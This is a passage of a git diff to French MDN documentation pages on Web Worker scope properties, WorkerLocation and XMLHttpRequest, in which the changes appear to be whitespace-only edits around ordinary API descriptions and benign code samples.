Web/API/WorkerGlobalScope/console --- {{APIRef("Web Workers API")}}{{Non-standard_header}} -La propriété en lecture seule **`console`** de l'interface {{domxref("WorkerGlobalScope")}} retourne un objet {{domxref("Console")}} donnant accès à la console du navigateur pour le worker. +La propriété en lecture seule **`console`** de l'interface {{domxref("WorkerGlobalScope")}} retourne un objet {{domxref("Console")}} donnant accès à la console du navigateur pour le worker. ## Syntaxe @@ -32,13 +32,13 @@ Cette propriété vous permet d'avoir accès à la console du navigateur à des console.log('test'); ``` -dans un worker (qui est tout simplement l'équivalent de `self.console.log('test');`, car appelé dans le contexte du worker, qui peut être référencé par {{domxref("WorkerGlobalScope.self")}}), afin de retourner un message de test dans la console du navigateur. +dans un worker (qui est tout simplement l'équivalent de `self.console.log('test');`, car appelé dans le contexte du worker, qui peut être référencé par {{domxref("WorkerGlobalScope.self")}}), afin de retourner un message de test dans la console du navigateur. -Si vous appelez `console.log()` depuis un {{domxref("DedicatedWorkerGlobalScope")}} ou un autre contexte qui agit sur une seule fenêtre chargée, la console de l'onglet correspondant recevra le message. En revanche, si vous appelez `console.log()` depuis un {{domxref("SharedWorkerGlobalScope")}}, la console globale du navigateur recevra le message. +Si vous appelez `console.log()` depuis un {{domxref("DedicatedWorkerGlobalScope")}} ou un autre contexte qui agit sur une seule fenêtre chargée, la console de l'onglet correspondant recevra le message. En revanche, si vous appelez `console.log()` depuis un {{domxref("SharedWorkerGlobalScope")}}, la console globale du navigateur recevra le message. ## Spécifications -Ne fait pas encore parti d'une spécification. +Ne fait pas encore parti d'une spécification. ## Compatibilité des navigateurs diff --git a/files/fr/web/api/workerglobalscope/dump/index.md b/files/fr/web/api/workerglobalscope/dump/index.md index d2086da3d8..c3bc8dd3a0 100644 --- a/files/fr/web/api/workerglobalscope/dump/index.md +++ b/files/fr/web/api/workerglobalscope/dump/index.md @@ -25,7 +25,7 @@ Rien. ## Exemple -Pour écrire quelque chose depuis votre _worker_ vers votre terminal, vous devez d'abord ouvrir une instance de Firefox depuis votre invité de commande ou terminal. Par exemple, sous Mac OS X vous le lancer en utilisant quelque chose comme (en supposant que vous êtes dans le répertoire de l'application): +Pour écrire quelque chose depuis votre _worker_ vers votre terminal, vous devez d'abord ouvrir une instance de Firefox depuis votre invité de commande ou terminal. Par exemple, sous Mac OS X vous le lancer en utilisant quelque chose comme (en supposant que vous êtes dans le répertoire de l'application): ```bash ./Firefox.app/Contents/MacOS/firefox-bin -profile /tmp -no-remote diff --git a/files/fr/web/api/workerglobalscope/importscripts/index.md b/files/fr/web/api/workerglobalscope/importscripts/index.md index 409e24cafe..f76d6ef889 100644 --- a/files/fr/web/api/workerglobalscope/importscripts/index.md +++ b/files/fr/web/api/workerglobalscope/importscripts/index.md @@ -5,7 +5,7 @@ translation_of: Web/API/WorkerGlobalScope/importScripts --- {{APIRef("Web Workers API")}} -La méthode **`importScripts()`** de l'interface synchrome {{domxref("WorkerGlobalScope")}} importe un ou plusieurs scripts dans l'environnement du worker. +La méthode **`importScripts()`** de l'interface synchrome {{domxref("WorkerGlobalScope")}} importe un ou plusieurs scripts dans l'environnement du worker. ## Syntaxe diff --git a/files/fr/web/api/workerglobalscope/index.md b/files/fr/web/api/workerglobalscope/index.md index a0c26cd26e..7abb31dce3 100644 --- a/files/fr/web/api/workerglobalscope/index.md +++ b/files/fr/web/api/workerglobalscope/index.md @@ -25,7 +25,7 @@ _Cette interface hérite des propriétés de l'interface {{domxref("EventTarget" - {{domxref("WorkerGlobalScope.navigator")}} {{readOnlyinline}} - : Renvoie le {{domxref("WorkerNavigator")}} associé au worker. C'est un objet navigator spécifique, principalement un sous-ensemble de {{domxref("Navigator")}} pour la navigation dans les portées, mais adapté aux workers. - {{domxref("WorkerGlobalScope.self")}} {{readOnlyinline}} - - : Renvoie une référence au `WorkerGlobalScope` lui-même. La plupart du temps, il s'agit d'une portée spécifique comme {{domxref("DedicatedWorkerGlobalScope")}}, {{domxref("SharedWorkerGlobalScope")}} ou {{domxref("ServiceWorkerGlobalScope")}}. + - : Renvoie une référence au `WorkerGlobalScope` lui-même. La plupart du temps, il s'agit d'une portée spécifique comme {{domxref("DedicatedWorkerGlobalScope")}}, {{domxref("SharedWorkerGlobalScope")}} ou {{domxref("ServiceWorkerGlobalScope")}}. - {{domxref("WorkerGlobalScope.location")}} {{readOnlyinline}} - : Renvoie le {{domxref("WorkerLocation")}} associé au worker. Il s'agit d'un objet de localisation spécifique, principalement un sous-ensemble de {{domxref ("Location")}} pour les portées de navigation, mais adapté aux workers. diff --git a/files/fr/web/api/workerglobalscope/location/index.md b/files/fr/web/api/workerglobalscope/location/index.md index c21bab74f5..454c77289c 100644 --- a/files/fr/web/api/workerglobalscope/location/index.md +++ b/files/fr/web/api/workerglobalscope/location/index.md @@ -25,20 +25,20 @@ Si vous appelez l'instruction suivante dans un document délivré par `localhost console.log(location); ``` -à l'intérieur d'un worker (ce qui équivaut à `self.console.log(self.location);`, puisqu'il est appelé dans le contexte du worker qui peut être référencé par {{domxref("WorkerGlobalScope.self")}}), la console vous retournera un objet {{domxref("WorkerLocation")}} — comme ce qui suit : +à l'intérieur d'un worker (ce qui équivaut à `self.console.log(self.location);`, puisqu'il est appelé dans le contexte du worker qui peut être référencé par {{domxref("WorkerGlobalScope.self")}}), la console vous retournera un objet {{domxref("WorkerLocation")}} — comme ce qui suit : ```js WorkerLocation {hash: "", search: "", pathname: "/worker.js", port: "8000", hostname: "localhost"…} - hash: "" - host: "localhost:8000" - hostname: "localhost" - href: "http://localhost:8000/worker.js" - origin: "http://localhost:8000" - pathname: "/worker.js" - port: "8000" - protocol: "http:" - search: "" - __proto__: WorkerLocation + hash: "" + host: "localhost:8000" + hostname: "localhost" + href: "http://localhost:8000/worker.js" + origin: "http://localhost:8000" + pathname: "/worker.js" + port: "8000" + protocol: "http:" + search: "" + __proto__: WorkerLocation ``` Vous pouvez utiliser l'objet location pour récupérer des informations supplémentaires sur la localisation du document, comme vous pourriez le faire avec un objet {{domxref("Location")}} normal. diff --git a/files/fr/web/api/workerglobalscope/navigator/index.md b/files/fr/web/api/workerglobalscope/navigator/index.md index f9895b1185..68cdfef74d 100644 --- a/files/fr/web/api/workerglobalscope/navigator/index.md +++ b/files/fr/web/api/workerglobalscope/navigator/index.md @@ -15,7 +15,7 @@ var navigatorObj = self.navigator; ### Valeur de retour -Un objet {{domxref("WorkerNavigator")}}. +Un objet {{domxref("WorkerNavigator")}}. ## Exemple diff --git a/files/fr/web/api/workerglobalscope/self/index.md b/files/fr/web/api/workerglobalscope/self/index.md index 48a1670388..e5e1665b14 100644 --- a/files/fr/web/api/workerglobalscope/self/index.md +++ b/files/fr/web/api/workerglobalscope/self/index.md @@ -5,7 +5,7 @@ translation_of: Web/API/WorkerGlobalScope/self --- {{APIRef("Web Workers API")}} -La propriété en lecture seule **`self`** de l'interface {{domxref("WorkerGlobalScope")}} retourne une référence au `WorkerGlobalScope` lui-même. La plupart du temps il s'agit d'un contexte spécifique comme {{domxref("DedicatedWorkerGlobalScope")}}, {{domxref("SharedWorkerGlobalScope")}}, ou {{domxref("ServiceWorkerGlobalScope")}}. +La propriété en lecture seule **`self`** de l'interface {{domxref("WorkerGlobalScope")}} retourne une référence au `WorkerGlobalScope` lui-même. La plupart du temps il s'agit d'un contexte spécifique comme {{domxref("DedicatedWorkerGlobalScope")}}, {{domxref("SharedWorkerGlobalScope")}}, ou {{domxref("ServiceWorkerGlobalScope")}}. ## Syntaxe @@ -30,8 +30,8 @@ au sein d'un worker, vous obtiendrez un worker global scope du même type que l' ```js DedicatedWorkerGlobalScope { undefined: undefined, Infinity: Infinity, Math: MathConstructor, NaN: NaN, Intl: Object…} - Infinity: Infinity - Array: function Array() { [native code] } + Infinity: Infinity + Array: function Array() { [native code] } arguments: null caller: null isArray: function isArray() { [native code] } @@ -42,7 +42,7 @@ undefined: undefined, Infinity: Infinity, Math: MathConstructor, NaN: NaN, Intl: unobserve: function unobserve() { [native code] } __proto__: function Empty() {} <function scope> - ArrayBuffer: function ArrayBuffer() { [native code] } + ArrayBuffer: function ArrayBuffer() { [native code] } Blob: function Blob() { [native code] } Boolean: function Boolean() { [native code] } DataView: function DataView() { [native code] } diff --git a/files/fr/web/api/workerlocation/index.md b/files/fr/web/api/workerlocation/index.md index e6bd9e25cb..be2c1c1926 100644 --- a/files/fr/web/api/workerlocation/index.md +++ b/files/fr/web/api/workerlocation/index.md @@ -8,39 +8,39 @@ translation_of: Web/API/WorkerLocation --- {{APIRef("Web Workers API")}} -L'interface **`WorkerLocation`** définit l'emplacement complet du script exécuté par le {{domxref("Worker")}}. Un tel objet est initialisé pour chaque _worker_ et est disponible via la propriété {{domxref("WorkerGlobalScope.location")}} récupérée par l'appel à `window.self.location`. +L'interface **`WorkerLocation`** définit l'emplacement complet du script exécuté par le {{domxref("Worker")}}. Un tel objet est initialisé pour chaque _worker_ et est disponible via la propriété {{domxref("WorkerGlobalScope.location")}} récupérée par l'appel à `window.self.location`. -Cette interface est uniquement visible à l'intérieur d'un script JavaScript exécuté dans le contexte d'un _web worker_. +Cette interface est uniquement visible à l'intérieur d'un script JavaScript exécuté dans le contexte d'un _web worker_. ## Propriétés -_L'interface `WorkerLocation` n'hérite d'aucune propriété mais implémente les propriétés définies par l'interface {{domxref("URLUtilsReadOnly")}}._ +_L'interface `WorkerLocation` n'hérite d'aucune propriété mais implémente les propriétés définies par l'interface {{domxref("URLUtilsReadOnly")}}._ - {{domxref("URLUtilsReadOnly.href")}} {{readOnlyInline}} - - : {{domxref("DOMString")}} contenant la totalité de URL du script exécuté dans le {{domxref("Worker")}}. + - : {{domxref("DOMString")}} contenant la totalité de URL du script exécuté dans le {{domxref("Worker")}}. - {{domxref("URLUtilsReadOnly.protocol")}} {{readOnlyInline}} - : {{domxref("DOMString")}} contenant le schéma du protocole de l'URL du script exécuté dans le {{domxref("Worker")}}, incluant les deux points de terminaison`':'`. - {{domxref("URLUtilsReadOnly.host")}} {{readOnlyInline}} - - : {{domxref("DOMString")}} contenant l'hôte, constitué du nom d'hôte *hostname*, de deux points `':'`, et du numéro de _port_ de l'URL du script exécuté dans le {{domxref("Worker")}}. + - : {{domxref("DOMString")}} contenant l'hôte, constitué du nom d'hôte *hostname*, de deux points `':'`, et du numéro de _port_ de l'URL du script exécuté dans le {{domxref("Worker")}}. - {{domxref("URLUtilsReadOnly.hostname")}} {{readOnlyInline}} - : {{domxref("DOMString")}} contenant le nom de domaine du script exécuté dans le {{domxref("Worker")}}. - {{domxref("URLUtilsReadOnly.origin")}} {{readOnlyInline}} - : {{domxref("DOMString")}} contenant l'origine de l'URL sous sa forme canonique. - {{domxref("URLUtilsReadOnly.port")}} {{readOnlyInline}} - - : {{domxref("DOMString")}} contenant le numéro de port de l'URL du script exécuté dans le {{domxref("Worker")}}. + - : {{domxref("DOMString")}} contenant le numéro de port de l'URL du script exécuté dans le {{domxref("Worker")}}. - {{domxref("URLUtilsReadOnly.pathname")}} {{readOnlyInline}} - - : {{domxref("DOMString")}} contenant une barre oblique initiale `'/'` suivie du chemin de l'URL du script exécuté dans le {{domxref("Worker")}}. + - : {{domxref("DOMString")}} contenant une barre oblique initiale `'/'` suivie du chemin de l'URL du script exécuté dans le {{domxref("Worker")}}. - {{domxref("URLUtilsReadOnly.search")}} {{readOnlyInline}} - - : {{domxref("DOMString")}} contenant un point d'interrogation intial `'?'` suivi des paramètres de l'URL du script exécuté dans le {{domxref("Worker")}}. + - : {{domxref("DOMString")}} contenant un point d'interrogation intial `'?'` suivi des paramètres de l'URL du script exécuté dans le {{domxref("Worker")}}. - {{domxref("URLUtilsReadOnly.hash")}} {{readOnlyInline}} - - : {{domxref("DOMString")}} contenant un dièse initial `'#'` suivi de l'identifiant de l'ancre de l'URL du script exécuté dans le {{domxref("Word'hôteker")}}. + - : {{domxref("DOMString")}} contenant un dièse initial `'#'` suivi de l'identifiant de l'ancre de l'URL du script exécuté dans le {{domxref("Word'hôteker")}}. ## Méthodes -_L'interface `WorkerLocation` n'hérite d'aucune méthode mais implémente les méthodes définies par l'interface {{domxref("URLUtilsReadOnly")}}._ +_L'interface `WorkerLocation` n'hérite d'aucune méthode mais implémente les méthodes définies par l'interface {{domxref("URLUtilsReadOnly")}}._ - {{domxref("URLUtilsReadOnly.toString()")}} - - : Retourne une chaîne de caractères {{domxref("DOMString")}} contenant l'URL complète du script exécuté dans le {{domxref("Worker")}}. C'est un synonyme de la propriété {{domxref("URLUtilsReadOnly.href")}}. + - : Retourne une chaîne de caractères {{domxref("DOMString")}} contenant l'URL complète du script exécuté dans le {{domxref("Worker")}}. C'est un synonyme de la propriété {{domxref("URLUtilsReadOnly.href")}}. ## Spécifications @@ -54,5 +54,5 @@ _L'interface `WorkerLocation` n'hérite d'aucune méthode mais implémente les ## Voir aussi -- Autres interfaces apparentées au *Worker*: {{domxref("Worker")}}, {{domxref("WorkerNavigator")}} et {{domxref("WorkerGlobalScope")}}. -- [Utilisation des web workers](/fr/docs/Utilisation_des_web_workers) +- Autres interfaces apparentées au *Worker*: {{domxref("Worker")}}, {{domxref("WorkerNavigator")}} et {{domxref("WorkerGlobalScope")}}. +- [Utilisation des web workers](/fr/docs/Utilisation_des_web_workers) diff --git a/files/fr/web/api/xmldocument/load/index.md b/files/fr/web/api/xmldocument/load/index.md index e67f1cdece..7125d2192a 100644 --- a/files/fr/web/api/xmldocument/load/index.md +++ b/files/fr/web/api/xmldocument/load/index.md @@ -14,7 +14,7 @@ translation_of: Web/API/XMLDocument/load --- {{APIRef("DOM")}} -`document.load()` fait partie d'une ancienne version du module W3C [DOM Level 3 Load & Save](http://www.w3.org/TR/2003/WD-DOM-Level-3-LS-20030619/load-save.html#LS-DocumentLS). Elle peut être utilisée avec document.async pour indiquer si la requête est synchrone ou asynchrone (par défaut). À partir d'au moins Gecko 1.9, elle ne prend plus en charge le chargement inter-site de documents (utilisez [XMLHttpRequest](/fr/docs/Web/API/XMLHttpRequest) à la place). +`document.load()` fait partie d'une ancienne version du module W3C [DOM Level 3 Load & Save](http://www.w3.org/TR/2003/WD-DOM-Level-3-LS-20030619/load-save.html#LS-DocumentLS). Elle peut être utilisée avec document.async pour indiquer si la requête est synchrone ou asynchrone (par défaut). À partir d'au moins Gecko 1.9, elle ne prend plus en charge le chargement inter-site de documents (utilisez [XMLHttpRequest](/fr/docs/Web/API/XMLHttpRequest) à la place). ## Exemples @@ -27,7 +27,7 @@ translation_of: Web/API/XMLDocument/load xmlDoc.addEventListener("load", documentCharge, false); xmlDoc.load('querydata.xml'); -{{Source("content/xml/tests/load/", "Voir aussi l'extrait de chargement")}} dans le dossier de tests XML. (Pour tester cette fonctionnalité, créez les fichiers sur votre disque local ou sur un serveur web, plutôt que de charger le fichier load.html depuis la page générée par LXR, qui servira le fichier text.xml comme HTML.) +{{Source("content/xml/tests/load/", "Voir aussi l'extrait de chargement")}} dans le dossier de tests XML. (Pour tester cette fonctionnalité, créez les fichiers sur votre disque local ou sur un serveur web, plutôt que de charger le fichier load.html depuis la page générée par LXR, qui servira le fichier text.xml comme HTML.) ## Spécification @@ -40,4 +40,4 @@ translation_of: Web/API/XMLDocument/load ## Voir aussi - [document.async](/fr/docs/Web/API/Document/async) -- [XML dans Mozilla](/fr/docs/XML_dans_Mozilla) +- [XML dans Mozilla](/fr/docs/XML_dans_Mozilla) diff --git a/files/fr/web/api/xmlhttprequest/index.md b/files/fr/web/api/xmlhttprequest/index.md index ef2a2c8481..bbf78ebcb6 100644 --- a/files/fr/web/api/xmlhttprequest/index.md +++ b/files/fr/web/api/xmlhttprequest/index.md @@ -83,7 +83,7 @@ Le gestionnaire `onreadystatechange`, comme propriété des instances `XMLHttpRe D'autres gestionnaires d'évènements ont également été implémentés dans différents navigateurs (`onload`, `onerror`, `onprogress`, etc.). Voir le guide [Manipuler XMLHttpRequest](/fr/docs/Web/API/XMLHttpRequest/Utiliser_XMLHttpRequest). -La plupart des navigateurs récents gère également les évènements via la méthode {{domxref("EventTarget.addEventListener", "addEventListener()")}} (en plus des méthodes `on*`). +La plupart des navigateurs récents gère également les évènements via la méthode {{domxref("EventTarget.addEventListener", "addEventListener()")}} (en plus des méthodes `on*`). ## Méthodes diff --git a/files/fr/web/api/xmlhttprequest/load_event/index.md b/files/fr/web/api/xmlhttprequest/load_event/index.md index 8d314127c3..1b9875fcef 100644 --- a/files/fr/web/api/xmlhttprequest/load_event/index.md +++ b/files/fr/web/api/xmlhttprequest/load_event/index.md @@ -14,7 +14,7 @@ The **`XMLHttpRequestEventTarget.onload`** is the function called when an {{domx ### Values -- `callback` is the function to be executed when the request completes successfully. It receives a {{domxref("ProgressEvent")}} object as its first argument. The value of *this* (i.e. the context) is the same {{domxref("XMLHttpRequest")}} this callback is related to. +- `callback` is the function to be executed when the request completes successfully. It receives a {{domxref("ProgressEvent")}} object as its first argument. The value of *this* (i.e. the context) is the same {{domxref("XMLHttpRequest")}} this callback is related to. ## Example diff --git a/files/fr/web/api/xmlhttprequest/open/index.md b/files/fr/web/api/xmlhttprequest/open/index.md index 0622599286..60f69ba432 100644 --- a/files/fr/web/api/xmlhttprequest/open/index.md +++ b/files/fr/web/api/xmlhttprequest/open/index.md @@ -7,7 +7,7 @@ translation_of: Web/API/XMLHttpRequest/open La méthode **`open()`** de {{domxref("XMLHttpRequest")}} instancie une nouvelle requête ou réinitialise un déjà existante. -> **Note :** Appeler cette méthode pour une requête déjà active (pour laquelle une méthode `open()` a déjà été appelée) est équivalent à appeler {{domxref("XMLHttpRequest.abort", "abort()")}}. +> **Note :** Appeler cette méthode pour une requête déjà active (pour laquelle une méthode `open()` a déjà été appelée) est équivalent à appeler {{domxref("XMLHttpRequest.abort", "abort()")}}. ## Syntaxe @@ -24,9 +24,9 @@ La méthode **`open()`** de {{domxref("XMLHttpRequest")}} instancie une nouvelle - : Une {{domxref("DOMString")}} représentant l'URL à laquelle envoyer la requête. - `async` {{optional_inline}} - - : Un booléen optionnel par défaut à `true`, indiquant s'il faut, ou pas, traiter la requête en asynchrone. Si la valeur est à `false`, la méthode `send()` ne retourne rien tant qu'elle n'a pas reçu la réponse. Si la valeur est à `true`, une notification de transaction complétée est fournie en utilisant un gestionnaire d'évènements. Le paramètre doit être sur "true" si l'attribut `multipart` est sur "true" aussi ou une exception sera levée. + - : Un booléen optionnel par défaut à `true`, indiquant s'il faut, ou pas, traiter la requête en asynchrone. Si la valeur est à `false`, la méthode `send()` ne retourne rien tant qu'elle n'a pas reçu la réponse. Si la valeur est à `true`, une notification de transaction complétée est fournie en utilisant un gestionnaire d'évènements. Le paramètre doit être sur "true" si l'attribut `multipart` est sur "true" aussi ou une exception sera levée. - > **Note :** Les requêtes asynchrones sur le "thread" principal peuvent facilement dérouter l'utilisateur et devraient être évitées; En fait, de nombreux navigateurs ont un support XHR obsolète sur la totalité du "thread" principal. Les requêtes synchrones sont acceptées dans {{domxref("Worker")}}. + > **Note :** Les requêtes asynchrones sur le "thread" principal peuvent facilement dérouter l'utilisateur et devraient être évitées; En fait, de nombreux navigateurs ont un support XHR obsolète sur la totalité du "thread" principal. Les requêtes synchrones sont acceptées dans {{domxref("Worker")}}. - `user` {{optional_inline}} - : Le nom de l'utilisateur, optionnel, à utiliser dans un but d'authentification. Sa valeur par défaut est `null`. diff --git a/files/fr/web/api/xmlhttprequest/readystate/index.md b/files/fr/web/api/xmlhttprequest/readystate/index.md index f453f7aa74..5564c8b433 100644 --- a/files/fr/web/api/xmlhttprequest/readystate/index.md +++ b/files/fr/web/api/xmlhttprequest/readystate/index.md @@ -51,11 +51,11 @@ La propriété XMLHttpRequest.readyState renvoie l'état dans lequel se trouve u - UNSENT - : Le client XMLHttpRequest a été créé, mais la méthode open() n'a pas encore été appelée. - OPENED - - : La méthode open() a été invoquée. Pendant cet état, les en-têtes de requête peuvent être définis à l'aide de la méthode [setRequestHeader()](/en-US/docs/Web/API/XMLHttpRequest/setRequestHeader) et la méthode [send()](/en-US/docs/Web/API/XMLHttpRequest/send) peut être appelée, ce qui lancera la récupération. + - : La méthode open() a été invoquée. Pendant cet état, les en-têtes de requête peuvent être définis à l'aide de la méthode [setRequestHeader()](/en-US/docs/Web/API/XMLHttpRequest/setRequestHeader) et la méthode [send()](/en-US/docs/Web/API/XMLHttpRequest/send) peut être appelée, ce qui lancera la récupération. - HEADERS_RECEIVED - : send() a été appelé et les en-têtes de réponse ont été reçus - LOADING - - : Le corps de la réponse est en cours de réception. Si [`responseType`](/en-US/docs/Web/API/XMLHttpRequest/responseType) is "text" ou une chaîne vide, [`responseText`](/en-US/docs/Web/API/XMLHttpRequest/responseText) aura la réponse textuelle partielle au fur et à mesure de son chargement. + - : Le corps de la réponse est en cours de réception. Si [`responseType`](/en-US/docs/Web/API/XMLHttpRequest/responseType) is "text" ou une chaîne vide, [`responseText`](/en-US/docs/Web/API/XMLHttpRequest/responseText) aura la réponse textuelle partielle au fur et à mesure de son chargement. - DONE - : L'opération de récupération est terminée. Cela peut signifier que le transfert de données a été effectué avec succès ou a échoué. diff --git a/files/fr/web/api/xmlhttprequest/readystatechange_event/index.md b/files/fr/web/api/xmlhttprequest/readystatechange_event/index.md index c9cf4293db..7f3216a653 100644 --- a/files/fr/web/api/xmlhttprequest/readystatechange_event/index.md +++ b/files/fr/web/api/xmlhttprequest/readystatechange_event/index.md @@ -6,7 +6,7 @@ original_slug: Web/API/XMLHttpRequest/onreadystatechange --- {{APIRef}} -Un [`EventHandler`](/en-US/docs/Web/API/EventHandler) qui réagit aux changements de `readyState`. Le callback est appelé dans le contexte du thread de rendu. La propriété **`XMLHttpRequest.onreadystatechange`** contient le gestionnaire d'évènement appelé lorsque l'évènement {{event("readystatechange")}} est déclenché, soit chaque fois que la propriété {{domxref("XMLHttpRequest.readyState", "readyState")}} de {{domxref("XMLHttpRequest")}} est modifiée. +Un [`EventHandler`](/en-US/docs/Web/API/EventHandler) qui réagit aux changements de `readyState`. Le callback est appelé dans le contexte du thread de rendu. La propriété **`XMLHttpRequest.onreadystatechange`** contient le gestionnaire d'évènement appelé lorsque l'évènement {{event("readystatechange")}} est déclenché, soit chaque fois que la propriété {{domxref("XMLHttpRequest.readyState", "readyState")}} de {{domxref("XMLHttpRequest")}} est modifiée. > **Attention :** Ne doit pas être utilisé avec des requêtes synchrone ni avec du code natif. @@ -28,8 +28,8 @@ var xhr = new XMLHttpRequest(), xhr.open(method, url, true); xhr.onreadystatechange = function () { if(xhr.readyState === 4 && xhr.status === 200) { - console.log(xhr.responseText); - } + console.log(xhr.responseText); + } }; xhr.send(); ``` diff --git a/files/fr/web/api/xmlhttprequest/response/index.md b/files/fr/web/api/xmlhttprequest/response/index.md index d07b064c06..89ff616f78 100644 --- a/files/fr/web/api/xmlhttprequest/response/index.md +++ b/files/fr/web/api/xmlhttprequest/response/index.md @@ -107,7 +107,7 @@ translation_of: Web/API/XMLHttpRequest/response </tbody> </table> -> **Note :** À partir de Gecko 11.0 {{geckoRelease("11.0")}} et de WebKit build 528, ces navigateurs ne permettent plus l'utilisation de l'attribut `responseType` lors des requêtes synchrones. Cela renvoi l'erreur `NS_ERROR_DOM_INVALID_ACCESS_ERR`. Ce changement a été proposé au W3C afin d'être standardisé. +> **Note :** À partir de Gecko 11.0 {{geckoRelease("11.0")}} et de WebKit build 528, ces navigateurs ne permettent plus l'utilisation de l'attribut `responseType` lors des requêtes synchrones. Cela renvoi l'erreur `NS_ERROR_DOM_INVALID_ACCESS_ERR`. Ce changement a été proposé au W3C afin d'être standardisé. ## Example @@ -115,16 +115,16 @@ translation_of: Web/API/XMLHttpRequest/response var url = 'somePage.html'; // une page locale function load(url, callback) { - var xhr = new XMLHttpRequest(); + var xhr = new XMLHttpRequest(); - xhr.onreadystatechange = function() { - if (xhr.readyState === 4) { - console.log(xhr.response); // Par défault une DOMString - } - } + xhr.onreadystatechange = function() { + if (xhr.readyState === 4) { + console.log(xhr.response); // Par défault une DOMString + } + } xhr.open('GET', url, true); - xhr.send(''); + xhr.send(''); } ``` diff --git a/files/fr/web/api/xmlhttprequest/responsetext/index.md b/files/fr/web/api/xmlhttprequest/responsetext/index.md index 5b78aee1da..183f096c1a 100644 --- a/files/fr/web/api/xmlhttprequest/responsetext/index.md +++ b/files/fr/web/api/xmlhttprequest/responsetext/index.md @@ -13,7 +13,7 @@ La lecture seule {{domxref("XMLHttpRequest")}} propriété **`responseText`** re ### Value -A {{domxref("DOMString")}} qui contient soit les données textuelles reçues à l'aide du`XMLHttpRequest` ou `null` si la demande a échoué ou `""` si la demande n'a pas encore été envoyée en appelant {{domxref("XMLHttpRequest.send", "send()")}}. +A {{domxref("DOMString")}} qui contient soit les données textuelles reçues à l'aide du`XMLHttpRequest` ou `null` si la demande a échoué ou `""` si la demande n'a pas encore été envoyée en appelant {{domxref("XMLHttpRequest.send", "send()")}}. Lors du traitement d'une requête asynchrone, la valeur de `responseText` reçoit toujours le contenu actuel du serveur, même s'il est incomplet car les données n'ont pas encore été complètement reçues. diff --git a/files/fr/web/api/xmlhttprequest/send/index.md b/files/fr/web/api/xmlhttprequest/send/index.md index 1261f8a9b3..81d150e4ee 100644 --- a/files/fr/web/api/xmlhttprequest/send/index.md +++ b/files/fr/web/api/xmlhttprequest/send/index.md @@ -17,9 +17,9 @@ translation_of: Web/API/XMLHttpRequest/send --- {{APIRef('XMLHttpRequest')}} -La méthode {{domxref("XMLHttpRequest")}} **`send()`** envoie la requête au serveur. Si la requête est asynchrone (elle l'est par défaut), la méthode envoie un retour dés que la requête est partie et le résultat est intégré en utilisant les évènements. En cas de requête synchrone, elle ne renvoie rien tant que la réponse n'est pas retournée. +La méthode {{domxref("XMLHttpRequest")}} **`send()`** envoie la requête au serveur. Si la requête est asynchrone (elle l'est par défaut), la méthode envoie un retour dés que la requête est partie et le résultat est intégré en utilisant les évènements. En cas de requête synchrone, elle ne renvoie rien tant que la réponse n'est pas retournée. -`send()` accepte un paramètre optionnel qui vous permet de spécifier le corps de la requête; c'est principalement utilisé pour les requêtes comme {{HTTPMethod("PUT")}}. Si la méthode est {{HTTPMethod("GET")}} ou {{HTTPMethod("HEAD")}}, le paramètre `body` est ignoré et le corps de la requête est fixé à `null`. +`send()` accepte un paramètre optionnel qui vous permet de spécifier le corps de la requête; c'est principalement utilisé pour les requêtes comme {{HTTPMethod("PUT")}}. Si la méthode est {{HTTPMethod("GET")}} ou {{HTTPMethod("HEAD")}}, le paramètre `body` est ignoré et le corps de la requête est fixé à `null`. Si aucun "header"{{HTTPHeader("Accept")}} n'a été paramétré dans {{domxref("XMLHttpRequest.setRequestHeader", "setRequestHeader()")}}, un "header" `Accept` avec le type `"*/*"` (tous types) est envoyé. @@ -39,7 +39,7 @@ Si aucun "header"{{HTTPHeader("Accept")}} n'a été paramétré dans {{domxref(" Si la valeur du corps n'est pas spécifiée, la valeur par défaut `null` est employée. -La meilleure manière d'envoyer du contenu binaire (par exemple dans l'upload de fichiers) est d'utiliser un {{domxref("ArrayBufferView")}} ou {{domxref("Blob")}} en conjonction avec la méthode `send()`. +La meilleure manière d'envoyer du contenu binaire (par exemple dans l'upload de fichiers) est d'utiliser un {{domxref("ArrayBufferView")}} ou {{domxref("Blob")}} en conjonction avec la méthode `send()`. ### Valeur de retour diff --git a/files/fr/web/api/xmlhttprequest/setrequestheader/index.md b/files/fr/web/api/xmlhttprequest/setrequestheader/index.md index 14381808cd..4b5b525ba4 100644 --- a/files/fr/web/api/xmlhttprequest/setrequestheader/index.md +++ b/files/fr/web/api/xmlhttprequest/setrequestheader/index.md @@ -5,15 +5,15 @@ translation_of: Web/API/XMLHttpRequest/setRequestHeader --- {{APIRef('XMLHttpRequest')}} -La méthode **`setRequestHeader()`** de l'objet {{domxref("XMLHttpRequest")}} permet d'éditer le header d'une requête HTTP. Vous devez appeler la méthode `setRequestHeader()`, après la méthode {{domxref("XMLHttpRequest.open", "open()")}}, et avant {{domxref("XMLHttpRequest.send", "send()")}}. Si vous faite appel plusieurs fois à `setRequestHeader()` dans une même requête, tout sera combiné au sein d'un même header. +La méthode **`setRequestHeader()`** de l'objet {{domxref("XMLHttpRequest")}} permet d'éditer le header d'une requête HTTP. Vous devez appeler la méthode `setRequestHeader()`, après la méthode {{domxref("XMLHttpRequest.open", "open()")}}, et avant {{domxref("XMLHttpRequest.send", "send()")}}. Si vous faite appel plusieurs fois à `setRequestHeader()` dans une même requête, tout sera combiné au sein d'un même header. -A chaque fois que vous appellez `setRequestHeader()`, son contenu est ajouté à la fin du header existant. +A chaque fois que vous appellez `setRequestHeader()`, son contenu est ajouté à la fin du header existant. -Si aucun {{HTTPHeader("Accept")}} n'a été configurer avec cette méthode, un `Accept` header avec le type `"*/*"` sera envoyé avec la requête lorsque {{domxref("XMLHttpRequest.send", "send()")}} sera appellée. +Si aucun {{HTTPHeader("Accept")}} n'a été configurer avec cette méthode, un `Accept` header avec le type `"*/*"` sera envoyé avec la requête lorsque {{domxref("XMLHttpRequest.send", "send()")}} sera appellée. -Pour des raisons de sécurité, certain header ne peuvent être manipulés que par le user agent. Ceux-ci contiennent les paramètres {{Glossary("Forbidden_header_name", "forbidden header names", 1)}} et {{Glossary("Forbidden_response_header_name", "forbidden response header names", 1)}}. +Pour des raisons de sécurité, certain header ne peuvent être manipulés que par le user agent. Ceux-ci contiennent les paramètres {{Glossary("Forbidden_header_name", "forbidden header names", 1)}} et {{Glossary("Forbidden_response_header_name", "forbidden response header names", 1)}}. -> **Note :** Dans certain cas, vous pourrez rencontrer l'erreur / exception "**not allowed by Access-Control-Allow-Headers in preflight response**" quand vous enverez une requête cross domains. Dans ce cas, vous devrez configurer {{HTTPHeader("Access-Control-Allow-Headers")}} dans votre réponse HTTP coté serveur. +> **Note :** Dans certain 